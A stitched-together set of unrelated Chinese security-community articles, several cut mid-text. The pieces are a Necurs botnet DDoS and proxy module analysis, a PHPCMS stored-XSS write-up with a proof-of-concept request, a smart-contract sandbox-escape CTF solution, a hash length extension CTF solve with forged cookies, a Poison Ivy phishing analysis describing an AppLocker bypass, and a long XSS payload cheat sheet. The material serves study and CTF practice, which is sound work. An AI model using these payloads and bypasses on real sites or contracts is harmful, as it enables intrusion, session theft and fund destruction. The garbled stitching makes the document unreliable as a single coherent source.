接下来的内容里，我们会对该模块进行技术分析，详细介绍它的C2协议、SOCKS/HTTP代理功能、和DDOS攻击功能。
**一、模块启动/初始化**
当该模块被僵尸程序加载后，它会执行以下初始化操作：
1.对参数进行解析，并将解析结果存储到一个内部C2地址列表中。
2.用以下信息填充一个内存数据结构(下图中的botsettings数据结构)，它包含了以下信息：
**僵尸主机ID** ：根据收集的独特系统信息产生的唯一标识。
**内部IP地址** ：通过检查出站套接字连接google.com时所用的IP地址。
**外部IP地址** ：通过ipv4.icanhazip.com或checkip.dyndns.org网站得到的主机外部IP地址。
可用带宽：通过从微软下载Windows 7 Service Pack 1文件来测量下载速度。
SOCKS/HTTP代理服务端口：大于1024的一个随机监听端口。
3.检查系统是否运行在NAT后面：通过检查出站套接字IP地址是否与本地地址、外部地址相匹配。如果系统没有在NAT后面，该僵尸程序会开启一个SOCKS/HTTP代理服务，监听一个大于1024的随机端口。
botsettings的数据结构如下图：
**二、C2通信协议**
在初始化之后，该僵尸程序会循环进入主C2连接过程，除非另有指令，否则，在这个过程中，它会每隔10秒钟尝试连接一次当前C2服务器，如果连接当前的C2服务器失败了，它会尝试连接C2地址列表中的下一个C2服务器。
该通信协议代码是二进制的，并且使用了自定义算法进行了加密/模糊。发送到服务器的信息(消息)采用了相似的数据结构(请看下图中botmsg和c2msg结构)，并包含了下面的数据：
**1.密钥** ：32位加密密钥。
**2.加密头**
：消息本身的一个被加密的头部数据结构(下图中botmsgheader和c2msgheader结构)，里面的信息用密钥加密了，包含了以下信息：
消息类型：定义了发送的消息/命令类型，大小为1字节。
载荷长度：发送的载荷长度。
头部HASH：代表了消息中第一字节的HASH值(key,msgtype,unknown和datalength)。
数据HASH：载荷的HASH，用于检查数据的完整性。
**3.加密的载荷** ：一组被发送的数据，用密钥的反向值加密过。
这就是僵尸程序发送到C2服务器的三种类型的消息，可以通过头部信息中的msgtype字节来区分它们。通常，有以下三种类型的消息：
**1.信标(msgtype 0)** ：这是僵尸程序每10秒钟发送会给C2服务器的主要消息，该消息的结构是前面提到过的botsettings结构。
**2.连通性检查(msgtype 1)**
：这是一个简单的虚拟消息，除了加密的消息头，不包含其它数据。这个消息是在僵尸程序连接C2服务器超时时发送的，目的是查看当前C2服务器还能不能用。
**3.代理回连(proxybackconnect)(msgtype 2)**
：在僵尸主机收到C2的开启socks回连命令时，僵尸主机会建立到C2服务器的连接，并给C2服务器发送这条消息，并且会将发送这条消息时建立的套接字(复用该套接字)直接用到SOCKS/HTTP代理连接中，这样做的好处是连接发起动作看起来就像是代理客户端发起的。
作为信标的响应包，C2服务器发送给僵尸程序的消息(或命令)也有三种类型，也可以通过头部信息中的msgtype字节来区分它们：
**1.开始回连代理(start proxybackconnect)( msgtype 1)：**
起初，僵尸主机给C2服务器发送一个代理回连(proxybackconnect)消息，然后，C2服务器给僵尸主机发送这条(start
proxybackconnect)消息，告诉僵尸主机开始回连代理会话。该会话的套接字将会被重用，允许作为一个代理被僵尸程序使用，即使僵尸主机在防火墙之后，并且没有建立到它的直接连接。
**2.睡眠(msgtype 2)：**
这会使僵尸主机睡眠5分钟。
**3.开始DDOS(msgtype 5)：**
该命令下达后，会对消息有效负载中指定的目标开始进行DDoS攻击，攻击活动有两种模式：
HTTP洪水攻击：如果消息载荷的前几个字节是“http:/”，僵尸程序会对目标开启HTTP洪水攻击。
UDP洪水攻击：如果消息载荷的前几个字节不是“http:/”，僵尸程序会对目标开启UDP洪水攻击。
**三、代理功能**
该SOCKS/HTTP代理服务和命令，允许僵尸网络拥有者将该僵尸主机作为一个代理(HTTP,SOCKSv4和SOCKv5协议)来使用，并使用两种操作模式来进行中继连接(直接代理和回连代理)。
在直接代理模式下，客户端会连接代理服务，然会代理服务会将连接转向到目的地，如下图所示：
这只有在僵尸主机没有受到NAT和防火墙保护时才有可能，这种情况在大多数僵尸网络中是不行的。
在代理回连模式下，客户端会连接到代理控制器，然后会从代理控制器的可用代理池中获得一个出站代理，并通过它来进行连接中继。如下图所示：
这种操作模式有几个优点。最大的一个优点是，即使被感染的系统运行在NAT后面也能正常工作，并且，这将允许僵尸网络能连接到内部网络资源中，就好像是来自内部机器的连接。这种代理的另一个常见用法是可以频繁的变换IP地址，方法是通过频繁和自动的改变僵尸主机的配置(充当代理的僵尸主机)。
简要的看一下这种代理方法是如何实施的，下图显示的是该C2命令处理函数的一部分：
在僵尸程序收到C2发来的“开始回连代理”(startproxybackconnect)命令时(msgtype
1)，僵尸程序会向C2服务器发送一个“回连代理”(proxybackconnect)命令(msgtype
2)，然后，C2服务器会使用相同的套接字(该套接字所在的连接是僵尸主机给C2服务器发送proxybackconnect命令的套接字)，并进入到startprocessincoming函数(请看上图)中处理实际的代理工作。这意味着用于连接C2服务器的通信连接同时也被用于了代理连接中。Processincomming函数会从传入连接中读取2字节(直接代理或通过回接代理)，然后，它会检查前面的值是否是5(SOCKSv5)、4(SOCKSv4)、或包含数字和字母(HTTP代理)然后，它会调用每个支持协议的相应函数，去处理实际的代理工作。
**四、DDOS攻击功能**
DDOS攻击方法可能是该模块最有趣、最意想不到的一个功能，这个模块只包含了两个基本的DDOS攻击方法，没有类似于“源IP地址欺骗”或“放大技术”的特殊功能。然而，考虑到Necurs僵尸网络的规模(每24小时有超过100万个活性IP)，即使是最基本的技术也能产生非常强大的攻击力。
来看一下它是怎么实施的，在僵尸程序接收到开始DDOS(startDDOS)命令后(msgtype
5)，如果在消息的有效载荷中发现“http:/”字符串，那么就调用HTTPflood函数，如果没有，就调用UDPFlood函数，如下图所示：
**HTTP洪水攻击模式**
使用该模式后，僵尸程序会开启16个线程用于HTTP攻击工作，并会发送一个无限循环的HTTP请求。下图显示的是16个线程队列，及发送HTTP请求的部分代码：
HTTP请求使用了以下格式的字符串：
**UDP洪水攻击**
UDP洪水攻击工作时，会发送一个128字节到1024字节之间的随机载荷，该函数包含了一个0.1秒的睡眠，这个时间是根据可用带宽而定的(在僵尸程序初始化时生成)，可能是为了避免在DDoS攻击时失去对僵尸主机的访问。下图显示了UDP洪水攻击的主循环：
**五、结论**
尽管主要以其垃圾邮件模块而著称，但是Necurs是一个模块化的恶意软件，它可以被用于多种不同的目的。在本文中，我们主要分析了该恶意软件的DDOS功能和添加SOCKS/HTTP代理功能。尽管我们还没有看到Necurs实施过DDOS攻击，但是这种能力目前已经被Necurs部署到了被感染的系统上，并且考虑到该僵尸网络的规模，它可以产生强大的攻击力。
**参考链接**
更多关于Necurs僵尸网络的信息，可以查看以下链接：
<https://www.virusbulletin.com/virusbulletin/2014/04/curse-necurs-part-1>
<https://www.virusbulletin.com/virusbulletin/2014/05/curse-necurs-part-2>
<https://www.virusbulletin.com/virusbulletin/2014/06/curse-necurs-part-3>
<https://www.johannesbader.ch/2015/02/the-dgas-of-necurs/>
<http://www.malwaretech.com/2016/02/necursp2p-hybrid-peer-to-peer-necurs.html>
<https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/>
模块样本：f3aeafe50880cb9dd584b3669800c017de561f8f9654440f62c51319fda0e970 | 社区文章 |
# 简介：
PHPCMS是一款网站管理软件。
这个漏洞很久以前在乌云发过，不过到现在都没有修复，觉得还是比较经典的，分享一下。
# 漏洞分析：
问题出在会员的积分兑换功能，文件：
/phpcms/modules/member/index.php
public function change_credit() {
$memberinfo = $this->memberinfo;
//加载用户模块配置
$member_setting = getcache('member_setting');
$this->_init_phpsso();
$setting = $this->client->ps_getcreditlist();
$outcredit = unserialize($setting);
$setting = $this->client->ps_getapplist();
$applist = unserialize($setting);
if(isset($_POST['dosubmit'])) {
//本系统积分兑换数
$fromvalue = intval($_POST['fromvalue']);
//本系统积分类型
$from = $_POST['from'];
$toappid_to = explode('_', $_POST['to']); //这个是问题的参数
//目标系统appid
$toappid = $toappid_to[0];
//目标系统积分类型
$to = $toappid_to[1];
if($from == 1) {
if($memberinfo['point'] < $fromvalue) {
showmessage(L('need_more_point'), HTTP_REFERER);
}
} elseif($from == 2) {
if($memberinfo['amount'] < $fromvalue) {
showmessage(L('need_more_amount'), HTTP_REFERER);
}
} else {
showmessage(L('credit_setting_error'), HTTP_REFERER);
}
$status = $this->client->ps_changecredit($memberinfo['phpssouid'], $from, $toappid, $to, $fromvalue);
这里有个问题，由于`if($memberinfo['point'] <
$fromvalue)`所以，`$fromvalue`不能大于会员的点数，但是没充值的状态下，点数是为0的，但是又由于上面有`intval($fromvalue)`，所以我们可以`$fromvalue=0.9`经过`intval`后就成了`0`，也就绕过了上面的逻辑。
跟进`ps_changecredit`函数：
public function ps_changecredit($uid, $from, $toappid, $to, $credit) {
return $this->_ps_send('changecredit', array('uid'=>$uid, 'from'=>$from, 'toappid'=>$toappid, 'to'=>$to, 'credit'=>$credit));
}
继续跟进`_ps_send`函数：
private function _ps_send($action, $data = null) {
return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
}
最后是经过`auth_data`函数处理和加密，`auth_data`调用`sys_auth`加密函数进行加密:
public function auth_data($data) {
$s = $sep = '';
foreach($data as $k => $v) {
if(is_array($v)) {
$s2 = $sep2 = '';
foreach($v as $k2 => $v2) {
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
$sep2 = '&';
}
$s .= $sep.$s2;
} else {
$s .= "$sep$k=".$this->_ps_stripslashes($v);
}
$sep = '&';
}
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
return $auth_s;
}
`_ps_post`函数主要就是让服务器访问自己的网站上的一个地址
也就是访问了`phpsso`的`changecredit`函数（方法）。
我们先来看看`phpsso`：
class phpsso {
public $db, $settings, $applist, $appid, $data;
/**
* 构造函数
*/
public function __construct() {
$this->db = pc_base::load_model('member_model');
pc_base::load_app_func('global');
/*获取系统配置*/
$this->settings = getcache('settings', 'admin');
$this->applist = getcache('applist', 'admin');
if(isset($_GET) && is_array($_GET) && count($_GET) > 0) {
foreach($_GET as $k=>$v) {
if(!in_array($k, array('m','c','a'))) {
$_POST[$k] = $v;
}
}
}
if(isset($_POST['appid'])) {
$this->appid = intval($_POST['appid']);
} else {
exit('0');
}
if(isset($_POST['data'])) {
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);可以看到是通过sys_auth函数解密（加密跟解密的函数是一样的）。
最后来看看changecredit：
public function changecredit() {
$this->uid = isset($this->data['uid']) ? $this->data['uid'] : exit('0');
$this->toappid = isset($this->data['toappid']) ? $this->data['toappid'] : exit('0');
$this->from = isset($this->data['from']) ? $this->data['from'] : exit('0');
$this->to = isset($this->data['to']) ? $this->data['to'] : exit('0');
$this->credit = isset($this->data['credit']) ? $this->data['credit'] : exit('0');
$this->appname = $this->applist[$this->appid]['name'];
$outcredit = $this->getcredit(1);
//目标系统积分增加数
$this->credit = floor($this->credit * $outcredit[$this->from.'_'.$this->to]['torate'] / $outcredit[$this->from.'_'.$this->to]['fromrate']);
/*插入消息队列*/
$noticedata['appname'] = $this->appname;
$noticedata['uid'] = $this->uid;
$noticedata['toappid'] = $this->toappid;
$noticedata['totypeid'] = $this->to;
$noticedata['credit'] = $this->credit;
messagequeue::add('change_credit', $noticedata);
exit('1');
}
这里是进入数据库了：messagequeue::add('change_credit', $noticedata);
public static function add($operation, $noticedata_send) {
$db = self::get_db();
$noticedata_send['action'] = $operation;
$noticedata_send_string = array2string($noticedata_send);
if ($noticeid = $db->insert(array('operation'=>$operation, 'noticedata'=>$noticedata_send_string, 'dateline'=>SYS_TIME), 1)) {
self::notice($operation, $noticedata_send, $noticeid);
return 1;
} else {
return 0;
}
}
调用insert写入数据。。这里就不跟了。由于系统开启了gpc（两次，初始化一次，phpsso一次），所以进去的数据是经过两次gpc的
输出跟模板就不说了，反正没过滤直接出来
整理一下思路，先从积分兑换填写表单，然后将数据整理成数组经过`sys_auth`加密一次，然后服务器发送数据包给自己，收到数据包之后用`sys_auth`函数解密，然后调用`changecredit`方法，`inert`插入数据库，然后管理员在后台点击通信信息的时候触发xss!
# 漏洞证明：
利用方法，先注册一个帐号，然后登录，然后访问:
[http://localhost/index.php?m=member&c=index&a=change_credit&](http://localhost/index.php?m=member&c=index&a=change_credit&)
post:
dosubmit=1&fromvalue=0.6&from=1id=1`setset'&to=}" onmousemove=alert(1)>// | 社区文章 |
# paradigm-CTF babysandbox
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 前言：找Ver👴想复现下qwb
> final的区块链。Ver👴给我发了这个比赛下面的一道题，发现这个比赛里面有很多高质量的智能合约题。从这里开始写一些不错的题目。
* * *
## babysandbox
看到题目名字就知道了题目考点： 沙盒
给出合约
BabySandbox.sol
pragma solidity 0.7.0;
contract BabySandbox {
function run(address code) external payable {
assembly {
// if we're calling ourselves, perform the privileged delegatecall
if eq(caller(), address()) {
switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}
}
// ensure enough gas
if lt(gas(), 0xf000) {
revert(0x00, 0x00)
}
// load calldata
calldatacopy(0x00, 0x00, calldatasize())
// run using staticcall
// if this fails, then the code is malicious because it tried to change state
if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {
revert(0x00, 0x00)
}
// if we got here, the code wasn't malicious
// run without staticcall since it's safe
switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
// revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}
}
}
}
Setup.sol
pragma solidity 0.7.0;
import "./BabySandbox.sol";
contract Setup {
BabySandbox public sandbox;
constructor() {
sandbox = new BabySandbox();
}
function isSolved() public view returns (bool) {
uint size;
assembly {
size := extcodesize(sload(sandbox.slot))
}
return size == 0;
}
}
Setup.py中的isSolved()进行了是否成功解决challenge的check.
这里我不是很熟悉.slot这种用法，所以自己随便部署了一个进行试验。
应该就是取了题目合约的整个字节码。要求把合约变成一个账户。或者直接让合约自毁应该也可以。
然后我们分析下Sandbox中的各种方法
if eq(caller(), address()) {
switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}
}
这里说的是如果caller也就是调用者是自己的话。那么就会直接调用。
delegatecall，也就是如果这里能设置出一些东西那么就可以成功改变合约状态了。
if lt(gas(), 0xf000) {
revert(0x00, 0x00)
}
// load calldata
calldatacopy(0x00, 0x00, calldatasize())
// run using staticcall
// if this fails, then the code is malicious because it tried to change state
if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {
revert(0x00, 0x00)
}
// if we got here, the code wasn't malicious
// run without staticcall since it's safe
switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
// revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}
}
第一行检测了gas是否够用，然后calldatacopy
从调用数据的位置 f 的拷贝 s 个字节到内存的位置 t
之后他就会利用staticall继续进行检测，但是我们可以发现，他从这里进入的staticcall 是进入了 自己的合约。
相当于对自己进行了一次重入。重入之后的调用方，就是msg.sender了。也就是可以正常进入delegatecall了。
但是他利用的是staticcall在外层,所以还是不能改变合约的原有状态。
但是通过之后 他利用call进行了第二次的合约使用。也就是这里的delegatecall就可以完成任何想做的事情了。也就是我们想要的合约销毁。
那么到这里 整体的思路就很清晰了：
> 1. 首先进入run(address target)中，delegatecall无法进入，进入staticcall
> 2. staticall中进入delegatecall 完成一次调用。
> 3. call中进入delegatecall完成一次调用。
> 4. 需要一个函数在staticcall中不改变合约状态，在call中改变。
> 5. delegatecall的target只需要直接selfdestruct就可以了。
>
* * *
那么现在就考虑怎么给出一个办法，使得两次调用所执行的方法不同？
尝试思路：
1. 我们考虑到利用全局变量进行赋值。但是可想而知这个方法并不可靠。因为我们是需要staticall通过检测的，全局变量赋值还是改变了合约的原有状态。
function()payable external{
if(success==true){
selfdestruct(msg.sender);
}
else{
success=true;
}
}
也就是利用类似上述的伪代码。这里是不可做的。
2. 利用特征进行判断。但是我们可以看到每次进行交易不管是传的gas还是什么所有的call和staticall中的特征都完全相同。 所以这个方法也很难进行bypass。
if(gas>value){
return ;
}
else{
selfdestruct(msg.sender);
}
考虑使用call外部变量进行改变，这种是可行的一个办法。我们可以通过在外部合约设置一个方法
我们利用内部的call方法进行请求，如果能正确返回状态值则代表当前状态就是call了。
因为外部Call方法的状态即使revert()他也会只返回一个状态码0，并不会直接阻断整个交易的正常运行。
fallback()external payable{
bool success;
(success,)=address(0x3c725134d74D5c45B4E4ABd2e5e2a109b5541288).call("");
if(!success){
return;
}
else{
selfdestruct(address(0));
}
}
这样就成功绕过了沙箱
这个是从github的官方wp中学到的 ，感觉应该和3的意思相同? 用等同于python的语法try catch 这样可以直接避免直接revert()
contract Setup {
BabySandbox public sandbox;
constructor() {
sandbox = new BabySandbox();
}
function isSolved() public view returns (bool) {
uint size;
assembly {
size := extcodesize(sload(sandbox.slot))
}
return size == 0;
}
}
学到了很多opcode以及call staticcall delegatecall的知识。 | 社区文章 |
### 0x00 前言
周末做了一下De1CTF，由于第一次接触哈希长度拓展攻击，所以对此题进行了一次详细的分析，如果有理解不正确的地方，还请各位师傅们指正。
### 0x01 题目源码
F12即可将源码复制出来进行分析，源码如下：
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
### 0x02 python审计
对代码分析后得出：
1、访问网站根目录会输出文件code.txt的内容
2、访问/geneSign会返回一个md5(secert_key + param + action)的值（其中param为空，action为scan）
3、访问/De1ta会创建一个对象并将所有获取到的参数传递进去
### 0x03 获flag条件
1、param = flag.txt
2、getSign(self.action, self.param) == self.sign
3、"read"和"scan"全在action中
### 0x04 解题思路
思路如下：
从/geneSign可以得到md5(secert_key + param + action)的值（其中param为flag.txt，action为scan）
要想同时满足上述两个条件就要知道md5(secert_key + param +
action)的值（其中param为flag.txt，action为scanread）
所以可总结为：
已知md5(secert_key+param+scan)
求md5(secert_key+param+scanread)
因此便想到hash长度拓展攻击，详细介绍：<https://joychou.org/web/hash-length-extension-attack.html>
### 0x05 解题过程
**第一步** ，访问/geneSign传param参数值为flag.txt，得到md5(secert_key+param+scan)的值
**第二步** ，使用hashpump得到md5(secert_key+param+scanread)的值
root@kali:~/HashPump# hashpump
Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
Input Data: scan
Input Key Length: 24
Input Data to Add: read
d7163f39ab78a698b3514fd465e4018a
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
**第三步** ，访问/De1ta，传入参数param、action、sign(\x替换为%)，得到flag
数据包如下：
GET /De1ta?param=flag.txt HTTP/1.1
Host: 139.180.128.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read; sign=d7163f39ab78a698b3514fd465e4018a | 社区文章 |
# 【技术分享】针对蒙古政府的鱼叉式钓鱼攻击分析
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[testvul_001](http://bobao.360.cn/member/contribute?uid=780092473)
预估稿费：120RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
FireEye近期观察到一个针对蒙古政府雇员的复杂攻击行动。受害者在被Poison Ivy感染的恶意微软Word 文档中启用了宏脚本（Poison
Ivy是一款使用了快十年的远程控制工具，可以进行键盘记录，截屏，录像，窃取文件、密码及远程控制等恶意行为）。这次攻击的背后黑手采用了如下有意思的技巧：
1、 定制化的绕过策略 –此次行动采用了公开的技巧绕过了目标系统中的AppLocker应用白名单机制。
2、 非常少的可执行文件及持久化维护-一般幕后的攻击者会尽量少的在磁盘上创建可执行文件以避免检测和调查取证。这次行动中我们观察到了使用PowerShell
scripts的四个阶段。
3、 诱饵文件-攻击者使用PowerShell脚本从互联网下载最初的恶意文件，然后通过一个单独的微软Word 文档加载这个文件以避免受害者的怀疑。
**攻击链**
攻击者首先使用社会工程引诱受害者运行微软Word文档里嵌入的宏指令，然后加载恶意的Powershell攻击向量。
攻击者采用了两个公开的技巧，一是AppLocker的白名单绕过技术，另一个是通过脚本注入shellcode到userinit.exe进程。恶意攻击向量都是通过多个PowerShell传播的，这使得跟踪它们很难，因为不同于写到磁盘里的单独脚本文件，PowerShell攻击向量都是存储在注册表里的。
下图展示了从恶意宏指令执行攻击向量的步骤：
**
**
**第一阶段：社会工程和宏指令- PowerShell的使用**
受害者首先会收到邮件发来的Word文档，这些文档伪装成登录到webmail系统的指导手册或者政府法律提案信息。当受害者打开恶意文档后，他们会看到要求启用宏指令的信息：
**绕过AppLocker的应用白名单保护**
微软的白名单解决方案AppLocker可以阻止在系统上运行未知的可执行文件。但是在2016年4月，研究者发现通过regsvr32.exe可以绕过限制。regsvr32.exe是一个可在很多AppLocker策略中运行的合法文件。regsvr32.exe可用于下载一个SCT文件并作为参数绕过SCT文件中的URL限制。
我们观察到攻击者通过执行宏代码调用regsvr32.exe来绕过这个限制（同时传入的还有一个托管恶意SCT文件的URL）。
下图展示了绕过AppLocker的完整命令行参数。
我们发现恶意的SCT文件通过隐藏模式调用WScript并硬编码加载PowerShell脚本。
**
**
**第二阶段：解码SCT，加载诱饵**
解码PowerShell命令后，我们观察到有两个目的的另一层PowerShell指令。
1、
这里面包含了下载诱饵文件并通过第二个winword.exe打开诱饵文件的代码。当受害者启用宏代码，他们就会看到如下的文档，文档里包含了钓鱼邮件里描述的内容。
2、 加载完诱饵文件后，PowerShell脚本会下载并运行一个名为f0921.ps1的PowerShell脚本。
**
**
**第三阶段**
第三阶段的PowerShell脚本配置了一个永久的base64编码的PowerShell脚本命令，并保存在HKCU:
ConsoleFontSecurity注册表键值中。
第三阶段的PowerShell脚本同时也配置了一个名为HKCUCurrentVersionRunSecurityUpdate的注册表键值，用来加载存在HKCU:
ConsoleFontSecurity 键值里的PowerShell攻击向量。（下图展示了一些相关代码，它们会在用户登录系统的时候执行）。
**
**
**第四阶段：PowerShell Inject-LocalShellCode代码**
HKCUConsoleFontSecurity注册表键值包含了第四阶段的PowerShell脚本，这个脚本从PowerSploit中借用了Inject-LocalShellCode部分代码来注入shellcode。
**Shellcode 分析**
Shellcode使用了0XD4作为key的基于XOR的加密方法。
当shellcode被解密并开始运行后，它向userinit.exe注入了一个Poison Ivy后门。
在shellcode中，我们同时看到了关于Poison Ivy的内容和配置。通过以下配置可以将它和标准的Poison Ivy联系起来：
Active setup – StubPath
Encryption/Decryption key – version2013
Mutex name – 20160509
**总结**
尽管Poison
Ivy已经是一个出现很久的威胁，但是这个后门的传输方式使用了近期很流行的技巧（和以往观察到的都不一样）。通过使用PowerShell脚本和公开的安全控制绕过方法，这次攻击的大部分步骤都在内存中完成，在目标机器上进行调查取证只能得到很少的内容。 | 社区文章 |
XSS Cheat Sheet
本文只发在Mannix基佬群和先知社区，非原创，实为整理所得，如果不喜欢，请点击左上角叉号关闭本页。
XSS 101
<h1>Hello,<script>alert(1)</script>!</h1>
1. With <script> tag
<script>alert(1)</script>
2. With regular HTML tags
2.1 Event-based
<TAG EVENT=alert(1)>
<body onload=alert(1)>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<x onmouseover=alert(1)>
2.2 Resource-based
<TAG RESOURCE=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<object data=javascript:alert(1)>
<script>alert(document.domain)</script>
2.1. Steal an user session on the vulnerable website (including admins)
2.2. Capture the keys pressed by the user
2.3. Deface the page, serving any type of content
2.4. Trick the user into giving his/her credentials by means of a fake HTML form
2.5. Crash the browser (local denial of service)
2.6. Force download of files
2.7. Redirect user's browser to another website where his/her machine can be
compromised by memory exploits
data伪协议的格式是：
data:[<MIME-type>][;charset=<encoding>][;base64],<data>
<script src="data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>
<script src=data:text/html;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ==></script>
<script src=data:text/html;,alert(document.cookie)></script>
<script src=data:text/html,alert(document.cookie)></script>
<script src=data:,alert(document.cookie)></script>
<script src="data:text/html;base64,YWxlcnQoMSk="></script>
<script src=data:text/html;base64,YWxlcnQoMSk=></script>
<script src=data:text/html;,alert(1)></script>
<script src=data:text/html,alert(1)></script>
<script src=data:,alert(1)></script>
<body><svg><x><script>alert(1)</script></x></svg></body>
<svg><x><script>alert(1)</x>
<svg><a><script>alert(1)</a>
XSS Cheat Sheet
HTML Context Tag Injection
<svg onload=alert(1)>
"><svg onload=alert(1)//
HTML Context Inline Injection
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
Javascript Context Code Injection
'-alert(1)-'
'-alert(1)//
Javascript Context Code Injection (escaping the escape)
\'-alert(1)//
Javascript Context Tag Injection
</script><svg onload=alert(1)>
PHP_SELF Injection
http://DOMAIN/PAGE.php/"><svg onload=alert(1)>
Without Parenthesis
<svg onload=alert`1`>
<svg onload=alert(1)>
<svg onload=alert(1)>
<svg onload=alert(1)>
Filter Bypass Alert Obfuscation
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
Body Tag
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)
Miscellaneous Vectors
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
Agnostic Event Handlers
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
